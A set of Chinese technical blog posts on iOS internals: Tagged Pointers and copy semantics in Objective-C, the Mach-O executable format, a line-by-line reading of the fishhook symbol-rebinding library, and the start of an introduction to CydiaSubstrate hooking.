Tagged Pointer 利用了这一现状，它使对象指针中非零位（最后4位）有了特殊的含义。在苹果的64位 Objective-C 实现中，若对象指针的最低有效位为1(即奇数)，则该指针为 Tagged Pointer 。这种指针不通过解引用 isa 来获取其所属类，而是通过接下来三位的一个类表的索引。该索引是用来查找所属类是采用 Tagged Pointer 的哪个类。剩下的60位则留给类来使用。

Tagged Pointer 有一个简单的应用，那就是 NSNumber 。它使用60位来存储数值。最低位置1。剩下3位为 NSNumber 的标志。这样，就可以存储任何所需内存小于60位的数值。

注：以上是在 x86_64 架构中，在 iOS ARM64 架构中，是最高4位表示所属类，对于最低位，不同类有不同的意义，比如 NSString 代表的是字符长度 length，NSNumber 我猜测代表的是数字长度类型。

从外部看，Tagged Pointer很像一个对象。它能够响应消息，因为 objc_msgSend 可以识别 Tagged Pointer 。假设你调用 integerValue ，它将从那60位中提取数值并返回。这样，每访问一个对象，就省下了一次真正对象的内存分配，省下了一次间接取值的时间。同时引用计数可以是空指令，因为没有内存需要释放。对于常用的类，这将是一个巨大的性能提升。

NSString 也是如此。对于那些所需内存小于60位的字符串，它可以创建一个 Tagged Pointer。所需内存大于60位的则放置在真正的 NSString 对象里。这使得常用的短字符串的性能得到明显的提升。

关于 NSString 中的 Tagged Pointer 编码比较复杂，条件是长度小于11位，且由 Apple 的代码生成在运行时，即不是直接定义，而是如上图中 mutableCopy/copy 转换而来，编码详情请见【译】采用Tagged Pointer的字符串

在 WWDC2013 中 APPLE 对于它的特点是这样总结的：

1. Tagged Pointer 专门用来存储小的对象，例如 NSNumber 和NSDate
2. Tagged Pointer 指针的值不再是地址了，而是真正的值。所以，实际上它不再是一个对象了，它只是一个披着对象皮的普通变量而已。所以，它的内存并不存储在堆中，也不需要 malloc 和 free 。跟 __NSCFConstantString 一样拥有非常大的 retainCount ，因为压根儿就不在堆上啊。
3. 在内存读取上有着3倍的效率，创建时比以前快106倍。

对 NSString 对象来说，当非字面量的数字，英文字母字符串的长度小于等于11的时候会自动成为 NSTaggedPointerString 类型（赋值为常量除外），如果有中文或其他特殊符号（可能是非 ASCII 字符）存在的话则会直接成为 __NSCFString 类型。

Tagged Pointer 举例
比如我们将上面的字符串改为
fC.mString = [NSMutableString stringWithString:@"mStringingin"];，
比之前少了1位，只有11位，则输出结果就变为了：

除了拷贝的可变副本（最后一个），其他不可变副本都是 Tagged Pointer ，直接存储的值。

集合类对象(NSArray)

执行代码：

fC.array = [NSArray arrayWithObjects:@"hello",@"world",@"baby", nil];
fC.arrayCopy = fC.array;  //浅，指针
fC.arrayMutableCopy = [fC.array mutableCopy]; //单层深，新地址
        
fC.mArrayCopy = [fC.array copy]; //浅，指针
fC.mArrayMutableCopy = [fC.array mutableCopy]; //单层深，新地址
        
NSLog(@"\n集合类对象(NSArray)：\noriginal address:    "); AmyLog(fC.array); AmyLog([fC.array objectAtIndex:1]);
        
NSLog(@"copy -> NSArray:    "); AmyLog(fC.arrayCopy); AmyLog([fC.arrayCopy objectAtIndex:1]);
NSLog(@"mutableCopy -> NSArray:    "); AmyLog(fC.arrayMutableCopy); AmyLog([fC.arrayMutableCopy objectAtIndex:1]);
NSLog(@"copy -> NSMutableArray:   "); AmyLog(fC.mArrayCopy); AmyLog([fC.mArrayCopy objectAtIndex:1]);
NSLog(@"mutableCopy -> NSMutableArray:    "); AmyLog(fC.mArrayMutableCopy); AmyLog([fC.mArrayMutableCopy objectAtIndex:1]);

打印结果：

分析

从结果可以发现，对于第一层的指针来说，跟 NSString 是一样的，copy 浅拷贝（复制指针，即指针不变）， mutableCopy 深拷贝（新内存），但是打印数组中的元素，就发现元素的指针并没有变，也就是第二层依然是浅拷贝，因此这就是单层深拷贝了。

集合的浅拷贝和完全拷贝

集合的浅拷贝有非常多种方法（上面那种 copy 就是）。当你进行浅拷贝时，会向原始的集合发送retain消息，引用计数加1，同时指针被拷贝到新的集合。

现在让我们看一些浅拷贝的例子：

NSArray *shallowCopyArray = [someArray copyWithZone:nil];   
NSSet *shallowCopySet = [NSSet mutableCopyWithZone:nil];   
NSDictionary *shallowCopyDict = [[NSDictionary alloc] initWithDictionary:someDictionary copyItems:NO];

那么如何才能对元素也进行深拷贝呢？

集合的深拷贝有两种方法。可以用 initWithArray:copyItems: 将第二个参数设置为 YES 即可深拷贝，如

NSDictionary shallowCopyDict = [[NSDictionary alloc] initWithDictionary:someDictionary copyItems:YES];

如果你用这种方法深拷贝，集合里的每个对象都会收到 copyWithZone: 消息。如果集合里的对象遵循 NSCopying 协议，那么对象就会被深拷贝到新的集合。如果对象没有遵循 NSCopying 协议，而尝试用这种方法进行深拷贝，会在运行时出错。 copyWithZone: 这种拷贝方式只能够提供一层内存拷贝(one-level-deep copy)，而非真正的深拷贝。

第二个方法是将集合进行归档(archive)，然后解档(unarchive)，如：

NSArray *trueDeepCopyArray = [NSKeyedUnarchiver unarchiveObjectWithData:[NSKeyedArchiver archivedDataWithRootObject:oldArray]];

终于搞定这个了！

Reference

[1] NSString：内存简述，Copy与Strong关键字　http://www.jianshu.com/p/0e98f37114e3
[2] iOS 集合的深复制与浅复制　https://www.zybuluo.com/MicroCai/note/50592
[3] 深入理解Tagged Pointe　http://www.infoq.com/cn/articles/deep-understanding-of-tagged-pointer/
[4] 【译】采用Tagged Pointer的字符串　http://www.cocoachina.com/ios/20150918/13449.html

Mach-O 是 Apple 系统上（包括 MacOS 以及 iOS）的可执行文件格式，类似于 windows 上的 PE 文件以及 linux 上的 ELF 文件。上图左边为官方图，右边为用 MachOView 软件打开的 Mach-O 文件图。可以非常清晰的看到，这种文件格式由文件头（Header）、加载命令（Load Commands）以及具体数据（Segment&Section）组成。下面一一介绍。

Header

/*
 * The 32-bit mach header appears at the very beginning of the object file for
 * 32-bit architectures.
 */
struct mach_header {
    uint32_t    magic;        /* mach magic number identifier */
    cpu_type_t    cputype;    /* cpu specifier */
    cpu_subtype_t    cpusubtype;    /* machine specifier */
    uint32_t    filetype;    /* type of file */
    uint32_t    ncmds;        /* number of load commands */
    uint32_t    sizeofcmds;    /* the size of all the load commands */
    uint32_t    flags;        /* flags */
};
/* Constant for the magic field of the mach_header (32-bit architectures) */
#define    MH_MAGIC    0xfeedface    /* the mach magic number */
#define MH_CIGAM    0xcefaedfe    /* NXSwapInt(MH_MAGIC) */
/*
 * The 64-bit mach header appears at the very beginning of object files for
 * 64-bit architectures.
 */
struct mach_header_64 {
    uint32_t    magic;        /* mach magic number identifier */
    cpu_type_t    cputype;    /* cpu specifier */
    cpu_subtype_t    cpusubtype;    /* machine specifier */
    uint32_t    filetype;    /* type of file */
    uint32_t    ncmds;        /* number of load commands */
    uint32_t    sizeofcmds;    /* the size of all the load commands */
    uint32_t    flags;        /* flags */
    uint32_t    reserved;    /* reserved */
};
/* Constant for the magic field of the mach_header_64 (64-bit architectures) */
#define MH_MAGIC_64 0xfeedfacf /* the 64-bit mach magic number */
#define MH_CIGAM_64 0xcffaedfe /* NXSwapInt(MH_MAGIC_64) */

以上是 Header 在代码中的定义，它在文件中的作用主要是：使系统能够快速定位其运行环境以及文件类型等等。

分析文件头的 otool 命令为： otool \-h 可执行文件 ，或者可视化强一点的 otool \-hv 可执行文件。

Fat 格式的文件（既包含有32位的二进制文件，又包含有64位的二进制文件），会在两个架构的二进制文件之前（也就是最开始的部分）有一个 Fat Header，其中 magic 为 0xCAFEBABE，然后是包含有的架构的个数，以及每个架构在文件中的偏移和大小等。

filetype 以及 flags 只列举了几个比较常见的定义，还有其他的详见EXTERNAL_HEADERS/mach-o/x86_64/loader.h。

Load Commands

Load Commands 是跟在 Header 后面的加载命令区，所有 commands 的大小总和即为 Header->sizeofcmds 字段，共有 Header->ncmds 条加载命令。

struct load_command {
    uint32_t cmd;        /* type of load command */
    uint32_t cmdsize;    /* total size of command in bytes */
};

Command 以 LC 开头，不同的加载命令有不同的专有的结构体，cmd 和 cmdsize 是都有的，分别为命令类型（即命令名称），这条命令的长度。这些加载命令告诉系统应该如何处理后面的二进制数据，对系统内核加载器和动态链接器起指导作用。如果当前 LC_SEGMENT 包含 section，那么 section 的结构体紧跟在 LC_SEGMENT 的结构体之后，所占字节数由 SEGMENT 的 cmdsize 字段给出。

使用命令 otool \-l 可执行文件 可以查看加载命令区，使用 otool \-l 可执行文件 | grep cryptid 可以查看是否加密。

Segment

Mach-O 文件有多个段（Segment），每个段有不同的功能。然后每个段又分为很多小的 Section。 LC_SEGMENT 意味着这部分文件需要映射到进程的地址空间去。一般有以下段名：

__PAGEZERO:　空指针陷阱段，映射到虚拟内存空间的第一页，用于捕捉对 NULL 指针的引用。
__TEXT:　包含了执行代码以及其他只读数据。该段数据可以 VM_PROT_READ(读)、VM_PROT_EXECUTE(执行)，不能被修改。

__DATA:　程序数据，该段可写 VM_PROT_WRITE/READ/EXECUTE。
__LINKEDIT:　链接器使用的符号以及其他表。

段的结构体定义为：

struct segment_command { /* for 32-bit architectures */
    uint32_t    cmd;        /* LC_SEGMENT */
    uint32_t    cmdsize;    /* includes sizeof section structs */
    char        segname[16];    /* segment name */
    uint32_t    vmaddr;        /* memory address of this segment 段的虚拟内存地址*/
    uint32_t    vmsize;        /* memory size of this segment  段的虚拟内存大小*/
    uint32_t    fileoff;    /* file offset of this segment  段在文件中的偏移量*/
    uint32_t    filesize;    /* amount to map from the file  段在文件中的大小*/
    vm_prot_t    maxprot;    /* maximum VM protection */
    vm_prot_t    initprot;    /* initial VM protection */
    uint32_t    nsects;        /* number of sections in segment */
    uint32_t    flags;        /* flags */
};
struct segment_command_64 { /* for 64-bit architectures */
    uint32_t    cmd;        /* LC_SEGMENT_64 */
    uint32_t    cmdsize;    /* includes sizeof section_64 structs */
    char        segname[16];    /* segment name */
    uint64_t    vmaddr;        /* memory address of this segment */
    uint64_t    vmsize;        /* memory size of this segment */
    uint64_t    fileoff;    /* file offset of this segment */
    uint64_t    filesize;    /* amount to map from the file */
    vm_prot_t    maxprot;    /* maximum VM protection */
    vm_prot_t    initprot;    /* initial VM protection */
    uint32_t    nsects;        /* number of sections in segment */
    uint32_t    flags;        /* flags */
};

其中 nsects 字段就是表明该段中有多少个 section。文件映射的起始位置是由 fileoff 给出，映射到地址空间的 vmaddr 处。

Section

Section 是具体有用的数据存放的地方。它的结构体跟随在 LC_SEGMENT 结构体之后，LC_SEGMENT 又在 Load Commands 中，但是 segment 的数据内容是跟在 Load Commands 之后的。它的结构体为：

struct section { /* for 32-bit architectures */
    char        sectname[16];    /* name of this section */
    char        segname[16];    /* segment this section goes in */
    uint32_t    addr;        /* memory address of this section 该节在内存中的起始位置*/
    uint32_t    size;        /* size in bytes of this section 该节的大小*/
    uint32_t    offset;        /* file offset of this section 该节的文件偏移*/
    uint32_t    align;        /* section alignment (power of 2) 字节大小对齐*/
    uint32_t    reloff;        /* file offset of relocation entries 重定位入口的文件偏移*/
    uint32_t    nreloc;        /* number of relocation entries 需要重定位的入口数量*/
    uint32_t    flags;        /* flags (section type and attributes) */
    uint32_t    reserved1;    /* reserved (for offset or index) */
    uint32_t    reserved2;    /* reserved (for count or sizeof) */
};
struct section_64 { /* for 64-bit architectures */
    char        sectname[16];    /* name of this section */
    char        segname[16];    /* segment this section goes in */
    uint64_t    addr;        /* memory address of this section */
    uint64_t    size;        /* size in bytes of this section */
    uint32_t    offset;        /* file offset of this section */
    uint32_t    align;        /* section alignment (power of 2) */
    uint32_t    reloff;        /* file offset of relocation entries */
    uint32_t    nreloc;        /* number of relocation entries */
    uint32_t    flags;        /* flags (section type and attributes)*/
    uint32_t    reserved1;    /* reserved (for offset or index) */
    uint32_t    reserved2;    /* reserved (for count or sizeof) */
    uint32_t    reserved3;    /* reserved */
};

其中 flag 字段分为两个部分，一个是区域类型（section type），一个是区域属性（section attributes）。其中 type 是互斥的，即只能有一个类型，而 attributes 不是互斥的，可以有多个属性。如果段（segment）中的任何一个 section 拥有属性 S_ATTR_DEBUG，那么该段所有的 section 都必须拥有这个属性。具体的flag字段内容以及意义请参考 /usr/include/mach-o/loader.h。

段名为大写，节名为小写。各节的作用主要有：

__text:　主程序代码
__stub_helper:　用于动态链接的存根
__symbolstub1:　用于动态链接的存根
__objc_methname:　Objective-C 的方法名
__objc_classname:　Objective-C 的类名
__cstring:　硬编码的字符串

__lazy_symbol:　懒加载，延迟加载节，通过 dyld_stub_binder 辅助链接
_got:　存储引用符号的实际地址，类似于动态符号表
__nl_symbol_ptr:　非延迟加载节
__mod_init_func:　初始化的全局函数地址，在 main 之前被调用
__mod_term_func:　结束函数地址
__cfstring:　Core Foundation 用到的字符串（OC字符串）

__objc_clsslist:　Objective-C 的类列表
__objc_nlclslist:　Objective-C 的 +load 函数列表，比 __mod_init_func 更早执行
__objc_const:　Objective-C 的常量
__data:　初始化的可变的变量
__bss:　未初始化的静态变量

查看某段中某节的命令为： otool \-s __TEXT __text 可执行文件。

与 IDA 的对应地址

如果用 MachOView 来查看的话，界面左上角有一个 RAW、RVA 的选项。RAW 就是指该字节相对于文件开始部分的绝对偏移，文件头部的地址是从0x000开始的。RVA 是相对于某个基地址的偏移，也就是整体的绝对偏移值再加上某个基地址，文件头部的地址是从某个值（基地址）开始的。

这个所谓的基地址其实是 LC_SEGMENT_64(_PAGEZERO) 中的 VM_Size 字段的值，因为留出这段空白页面就是为了捕获程序的空指针，以及考虑到页面对齐。IDA 中就是使用的 RVA 地址。这个地址在 armv7 中是0x4000，arm64 中是0x10000 0000。

Section(__TEXT,__text) 所在的 RVA 地址，对应的就是 IDA 解析的函数开始地址。 IDA 解析的 Mach-O 文件中的函数都位于 Section(__TEXT) 段，然后还会接着解析 Section(__DATA) 段，即 IDA 中的数据区。

LC_MAIN 加载命令中的 Entry Offset 字段 + 基地址（RVA 选项下的文件头部地址） = IDA 中左侧函数 _main 的地址。

Reference

[1] mach-o格式分析 　
http://turingh.github.io/2016/03/07/mach-o%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/#
[2] 趣探 Mach-O：文件格式分析　http://www.jianshu.com/p/54d842db3f69
[3] 网易云课堂《iOS逆向与安全》

各种表在 Mach-O 文件中，是位于 Section 数据之后的一些记录数据。下面介绍本文会用到的几个表。

懒加载（lazy load），又叫做延迟加载。在实际需要使用该符号（或资源）的时候，该符号才会通过 dyld 中的 dyld_stub_binder 来进行加载。与之相对的是非懒加载（non-lazy load），这些符号在动态链接库绑定的时候，就会被加载。

在 Mach-O 中，相对应的就是 _nl_symbol_ptr（非懒加载符号表）和 _la_symbol_ptr（懒加载符号表）。这两个指针表，保存着与字符串表对应的函数指针。

Dynamic Symbol Table(Indirect Symbols): 动态符号表是加载动态库时导出的函数表，是符号表的 subset。动态符号表的符号 = 该符号在原所属表指针中的偏移量（offset）+ 原所属表在动态符号表中的偏移量 + 动态符号表的基地址（base）。在动态表中查找到的这个符号的值又等于该符号在 symtab 中的 offset。

Symbol Table（以下简称为 symtab）: 即符号表。每个目标文件都有自己的符号表，记录了符号的映射。在 Mach-O 中，符号表是由结构体 n_list 构成。

struct nlist {
    union {
#ifndef __LP64__
        char *n_name;    /* for use when in-core */
#endif
        uint32_t n_strx;    /* index into the string table */
    } n_un;
    uint8_t n_type;        /* type flag, see below */
    uint8_t n_sect;        /* section number or NO_SECT */
    int16_t n_desc;        /* see <mach-o/stab.h> */
    uint32_t n_value;    /* value of this symbol (or stab offset) */
};
/*
 * This is the symbol table entry structure for 64-bit architectures.
 */
struct nlist_64 {
    union {
        uint32_t  n_strx; /* index into the string table */
    } n_un;
    uint8_t n_type;        /* type flag, see below */
    uint8_t n_sect;        /* section number or NO_SECT */
    uint16_t n_desc;       /* see <mach-o/stab.h> */
    uint64_t n_value;      /* value of this symbol (or stab offset) */
};

以上为 n_list 的结构。通过在动态符号表中找的偏移，再加上符号表的基址，就可以找到这个符号的 n_list，其中 n_strx 的值代表该字符串在 strtab 中的偏移量（offset）。关于 n_list 的具体结构解析详见 nlist-Mach-O文件重定向信息数据结构分析

String Table（以下简称为 strtab）: 是放置 Section 名、变量名、符号名的字符串表，字符串末尾自带的 \0 为分隔符（机器码00）。知道 strtab 的基地址（base），然后加上在 Symbol Table 中找到的该字符串的偏移量（offset）就可以找到这个字符串。

fishhook 概述

fishhook 是 facehook 开源的重绑定 Mach-O 符号的库，用来 hook C 语言函数（即只能重绑定 C 符号）。主要原因在于只针对 C 语言做了符号修饰。

基本思路为：

1. 先找到 Mach-O 文件的 Load_Commands 中的 LC_SEGMENT_64(_DATA)，然后找到这条加载指令下的 Section64 Header(_nl_symbol_ptr)，以及 Section64 Header(_la_symbol_ptr)；
2. 其中 Section Header 字段的 reserved1 的值即为该 Section 在 Dynamic Symbol Table 中的 offset。然后通过定位到该 Section 的数据，找到目标符号在 Section 中的偏移量，与之前的 offset 相加，即为在动态符号表中的偏移；
3. 通过 Indirect Symbols 对应的数值，找到在 symtab 中的偏移，然后取出 n_list->n_un->n_strx 的值；
4. 通过这个值找到在 strtab 中的偏移，得到该字符串，进行匹配置换。

源码解析

fishhook 的源文件很少，只有一个 .h 头文件和一个 .c 文件，其中 fishhook.h 文件只暴露出了两个函数接口和一个结构体。

/*
 * A structure representing a particular intended rebinding from a symbol
 * name to its replacement
 */
struct rebinding {
  const char *name;
  void *replacement;
  void **replaced;
};
int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel);
int rebind_symbols_image(void *header,
                         intptr_t slide,
                         struct rebinding rebindings[],
                         size_t rebindings_nel);

rebind_symbols 函数

以 ReadMe 中的示例为例，先是声明与将要被 hook 的函数签名相同的函数指针，接着自定义了替换后的函数，my_close、my_open。然后在 main 函数中调用 rebind_symbols 函数。

rebind_symbols((struct rebinding[2]){{"close", my_close, (void *)&orig_close}, {"open", my_open, (void *)&orig_open}}, 2);

在传递的参数中定义了一个结构体数组，传递了两个 rebinding 结构体，以及数组的个数2。

static struct rebindings_entry *_rebindings_head;
......
int rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) {
  int retval = prepend_rebindings(&_rebindings_head, rebindings, rebindings_nel);
  if (retval < 0) {
    return retval;
  }
  // If this was the first call, register callback for image additions (which is also invoked for
  // existing images, otherwise, just run on existing images
  if (!_rebindings_head->next) {
    _dyld_register_func_for_add_image(_rebind_symbols_for_image);
  } else {
    uint32_t c = _dyld_image_count();
    for (uint32_t i = 0; i < c; i++) {
      _rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));
    }
  }
  return retval;
}

在 rebind_symbols 函数中，首先调用了 prepend_rebindings 函数，传入了 rebindings_head 的二级指针， rebind_symbols 函数参数中的 rebindings 数组，以及数组个数。然后将这个函数的返回值作为整个函数的返回值。

如果这个函数返回值>0，且 _rebindings_head->next 的值为空（其具体含义在 prepend_rebindings 函数中讲），则调用_dyld_register_func_for_add_image 来注册回调函数 _rebind_symbols_for_image。

在 dyld 加载镜像（即 image，在 Mach-O 中，所有的可执行文件、dylib、Bundle 都是 image）的时候，会执行注册过的回调函数。这一步可以使用 _dyld_register_func_for_add_image 方法来注册自定义的回调函数，传入这个 image 的 mach_header 和 slide，同时也会为所有已加载的 image 执行回调。

extern void _dyld_register_func_for_add_image(  
    void (*func)(const struct mach_header* mh, intptr_t vmaddr_slide)
);

如果 _rebindings_head->next 的值不为空，则直接调用回调函数。

prepend_rebindings 函数

struct rebindings_entry {
  struct rebinding *rebindings;
  size_t rebindings_nel;
  struct rebindings_entry *next;
};
......
static int prepend_rebindings(struct rebindings_entry **rebindings_head,
                              struct rebinding rebindings[],
                              size_t nel) {
  struct rebindings_entry *new_entry = malloc(sizeof(struct rebindings_entry));
  if (!new_entry) {
    return -1;
  }
  new_entry->rebindings = malloc(sizeof(struct rebinding) * nel);
  if (!new_entry->rebindings) {
    free(new_entry);
    return -1;
  }
  memcpy(new_entry->rebindings, rebindings, sizeof(struct rebinding) * nel);
  new_entry->rebindings_nel = nel;
  new_entry->next = *rebindings_head;
  *rebindings_head = new_entry;
  return 0;
}

这里主要是一个将 rebingdings 数组拷贝到 new_entry 结构体中，并把这个结构体添加到 _rebings_head 这个链表首部的操作。首先定义一个 rebindings_entry 类型的 new_entry 结构体，并初始化，给 new_entry 以及 new_entry->rebindings 分配内存。

然后拷贝传入的参数数组 rebindings 到 new_entry->rebindings 中。同时给 new_entry->rebindings_nel 赋值为数组的个数，将 new_entry->next 赋值为 *rebindings_head 指针，即 _rebindings_head 内的数值。最后再使 _rebindings_head 与 new_entry 指向同一个地址。

这里比较容易混淆的是 rebindings_head 与 _rebindings_head。rebind_symbols 函数调用 prepend_rebindings 函数时，传入的是 &_rebindings_head，也就是结构体指针的地址，是一个二级指针。prepend_rebindings 函数接收这个参数用的是 struct rebindings_entry **rebindings_head，也就是说 *rebindings_head 就是 _rebinding_head 指针。

上面的动图很容易看出，这个链表是如何形成的。回到 rebind_symbols 函数中的遗留问题，_rebindings_head->next 的值为空时，是什么意思？这意味着 rebind_symbols 函数第一次被调用，因为之后被调用，_rebindings_head->next 都指向的是前一个被添加进链表的 new_entry。也只有在第一次被调用时，才需要注册回调函数，之后都是直接调用即可。

rebind_symbols_for_image 函数

在 _rebind_symbols_for_image 中，就执行了一个调用 rebind_symbols_for_image 函数的操作。接下来是比较核心的部分了。

static void rebind_symbols_for_image(struct rebindings_entry *rebindings,
                                     const struct mach_header *header,
                                     intptr_t slide) {
  Dl_info info;
  if (dladdr(header, &info) == 0) {
    return;
  }
  segment_command_t *cur_seg_cmd;
  segment_command_t *linkedit_segment = NULL;
  struct symtab_command* symtab_cmd = NULL;
  struct dysymtab_command* dysymtab_cmd = NULL;
  uintptr_t cur = (uintptr_t)header + sizeof(mach_header_t);
  for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {
    cur_seg_cmd = (segment_command_t *)cur;
    if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {
      if (strcmp(cur_seg_cmd->segname, SEG_LINKEDIT) == 0) {
        linkedit_segment = cur_seg_cmd;
      }
    } else if (cur_seg_cmd->cmd == LC_SYMTAB) {
      symtab_cmd = (struct symtab_command*)cur_seg_cmd;
    } else if (cur_seg_cmd->cmd == LC_DYSYMTAB) {
      dysymtab_cmd = (struct dysymtab_command*)cur_seg_cmd;
    }
  }
  if (!symtab_cmd || !dysymtab_cmd || !linkedit_segment ||
      !dysymtab_cmd->nindirectsyms) {
    return;
  }
//接下段代码

首先定义了4个会被用到的结构体指针。其中 segment_command_t 就是LC_SEGMENT_64 结构，symtab_command 是 Section Header 中 LC_SYMTAB 的结构，dysymtab_command 是 Section Header 中 LC_DYSYMTAB 的结构。（有关 Mach-O 文件的结构可以参考我之前的文章 解读 Mach-O 文件格式）

接下来跳过 Mach-O 的 Header 结构，开始遍历 Load Commands。通过 Header->ncmds，以及 Segment->cmdsize 来控制循环。通过遍历，找到 LC_SEGMENT_64(_LINKEDIT)，赋值给 linkedit_segment，然后给 symtab_cmd 和 dysymtab_cmd 赋值。

//接上段代码
// Find base symbol/string table addresses
  uintptr_t linkedit_base = (uintptr_t)slide + linkedit_segment->vmaddr - linkedit_segment->fileoff;
  nlist_t *symtab = (nlist_t *)(linkedit_base + symtab_cmd->symoff);
  char *strtab = (char *)(linkedit_base + symtab_cmd->stroff);
  // Get indirect symbol table (array of uint32_t indices into symbol table)
  uint32_t *indirect_symtab = (uint32_t *)(linkedit_base + dysymtab_cmd->indirectsymoff);
//接下段代码

通过找到的 _LINKEDIT 段和传入的参数 slide 来计算 base 地址。也就是这个 Mach-O 文件在 ASLR 偏移后的首地址（因为这里用到的这些表都是属于 _LINKEDIT 段的）。 base = vmaddr - fileoffset + slide。

然后 base + symtab 段的 Symbol Table Offset（该表在文件中的偏移） = symtab 的首地址（该表在内存中的偏移），base + symtab 段的 String Table Offset = strtab 的首地址。base + DYSYTAB 段的 IndSym Table Offset = 动态符号表的首地址。

//接上段代码
cur = (uintptr_t)header + sizeof(mach_header_t);
  for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {
    cur_seg_cmd = (segment_command_t *)cur;
    if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {
      if (strcmp(cur_seg_cmd->segname, SEG_DATA) != 0 &&
          strcmp(cur_seg_cmd->segname, SEG_DATA_CONST) != 0) {
        continue;
      }
      for (uint j = 0; j < cur_seg_cmd->nsects; j++) {
        section_t *sect =
          (section_t *)(cur + sizeof(segment_command_t)) + j;
        if ((sect->flags & SECTION_TYPE) == S_LAZY_SYMBOL_POINTERS) {
          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);
        }
        if ((sect->flags & SECTION_TYPE) == S_NON_LAZY_SYMBOL_POINTERS) {
          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);
        }
      }
    }
  }
}

这是一个嵌套循环，外层循环依旧是遍历 Load Commands，内循环则是遍历 LC_SEGMENT_64(_DATA) 段内的 Section Header，通过 Section->flags & SECTION_TYPE 来寻找 _nl_symbol_ptr 和 _la_symbol_ptr。找到后调用 perform_rebinding_with_section 函数。

在循环内的 if 语句嵌套，一般最多用两层，太多层会显得代码冗杂，且可读性较差，容易出错。那两层以上怎么办呢？fishhook 给了我们一个很好的示范。用 if 语句作非判断，然后加上 continue 跳出本次循环。详见上面的代码。

perform_rebindin_with_section 函数

static void perform_rebinding_with_section(struct rebindings_entry *rebindings,
                                           section_t *section,
                                           intptr_t slide,
                                           nlist_t *symtab,
                                           char *strtab,
                                           uint32_t *indirect_symtab) {
  uint32_t *indirect_symbol_indices = indirect_symtab + section->reserved1;
  void **indirect_symbol_bindings = (void **)((uintptr_t)slide + section->addr);
  for (uint i = 0; i < section->size / sizeof(void *); i++) {
    uint32_t symtab_index = indirect_symbol_indices[i];
    if (symtab_index == INDIRECT_SYMBOL_ABS || symtab_index == INDIRECT_SYMBOL_LOCAL ||
        symtab_index == (INDIRECT_SYMBOL_LOCAL   | INDIRECT_SYMBOL_ABS)) {
      continue;
    }
    uint32_t strtab_offset = symtab[symtab_index].n_un.n_strx;
    char *symbol_name = strtab + strtab_offset;
    if (strnlen(symbol_name, 2) < 2) {
      continue;
    }
 struct rebindings_entry *cur = rebindings;
    while (cur) {
      for (uint j = 0; j < cur->rebindings_nel; j++) {
        if (strcmp(&symbol_name[1], cur->rebindings[j].name) == 0) {
          if (cur->rebindings[j].replaced != NULL &&
              indirect_symbol_bindings[i] != cur->rebindings[j].replacement) {
            *(cur->rebindings[j].replaced) = indirect_symbol_bindings[i];
          }
          indirect_symbol_bindings[i] = cur->rebindings[j].replacement;
          goto symbol_loop;
        }
      }
      cur = cur->next;
    }
  symbol_loop:;
  }
}

这里需要注意的是指针的加法。比如 uint32_t *indirect_symbol_indices = indirect_symtab + section->reserved1; 这句代码中，三个变量均为 uint32_t 格式，即4个字节，那么 indirect_symtab 指针实际应该加上 （reserved1 的值 * 4）个字节。以 _nl_symbol_ptr 为例：

reserved1（也就是上图 MachOView 中显示的 Indirect Sym Index）为25，那么在动态符号表中 _nl_symbol_ptr 所在的首地址应该是（先不考虑 slide）： Dynamic Symbol Table 的首地址 + (reserved1 * 4) = 0x100005F30 + 0x64 = 0x100005F94。

slide + section->addr 为 _nl_symbol_ptr section 数据所在的地址。然后遍历 dysymtab 中从 _nl_symbol_ptr 开始的符号，取得 Symbol 数据，如果为 INDIRECT_SYMBOL_ABS(即懒加载符号指针结束的地方)等，则跳出本次循环。否则将取得的 Symbol 数据作为 symtab 中的 offset。

如上图所示，_dyld_stub_binder 符号（也是这个程序中的 _nl_symbol_ptr 的首个符号）在 dysymtab 中的 Symbol 数据为0xA1，那么在对应的 symtab 中，它的地址应为 symtab 首地址 + 0xA1 * 16 = 0x10005510 + 161 * 16 = 0x10005F20。(16是 n_list 结构共16个字节)

Symbol Table 中的 n_strx（之前提到的 n_list 结构）即为 strtab 中的 index。

最后就是匹配替换了。比较字符串表中的字符串与 rebindings 数组中的 name 字段，匹配成功后，将 _nl_symbol_ptr 或 _la_symbol_ptr 这两个 Section 的指针表中对应的函数指针（indirect_symbol_bindings[i]）赋值给 rebindings 数组中的 replaced 字段，然后用数组中的 replacement 字段（也就是自定义的 my_open 或 my_close 函数的指针）覆盖原来的函数指针。

这里使用了 goto 来跳出双重循环，值得参考。

Reference

[1] 动态修改 C 语言函数的实现　http://draveness.me/fishhook/
[2] 趣探 Mach-O：FishHook 解析　http://www.open-open.com/lib/view/open1487057519754.html
[3] 编译体系漫游　http://www.tuicool.com/articles/uI7Bria

CydiaSubstrate，作者为 Jay Freeman(saurik)，在iOS7越狱之前名为 MobileSubstrate，因此 CydiaSubstrate 框架中的大部分函数仍以 MS 为前缀。

在用 theos 开发中，control 文件中的 depend 字段依赖库为 mobilesubstrate，该工具是实现 CydiaSubstrate 注入的关键所在，整个工具主要分为 MobileHooker、MobileLoader 以及 Safe mode 三部分。

MobileHooker，是 CydiaSubstrate 的一个组件，对 C 和 Objective-C 均有效。

MobileHooker 组件主要提供了 MSHookMessageEx 和 MSHookFunction 两个函数针对不同语言的 inline hook 功能，其中 MSHookMessageEx 负责用来 hook Objective-C 函数，MSHookFunction 负责用来 hook C/C++ 函数。
　　　　　　　　　　　　 ————简书作者：HWenj《iOS HOOK》

源码编译

CydiaSubstrate 源代码现在已经不开源了，我调试用的代码是 iOS5 的时候的版本，GitHub。虽然已经过时很久，仅支持32位的移动端，以及32/64位的 PC 端，但其中还是有很多东西值得学习。

正如前文所说，MSHookMessageEx 是针对 OC 函数的 hook，因此它也是采用的 Method Swizzling 方法（详见我之前的文章 Hook 原理之 Method Swizzling），下面我们来分析一下老版本中的源代码。核心代码在 C++ 文件 ObjectiveC.cpp 中。

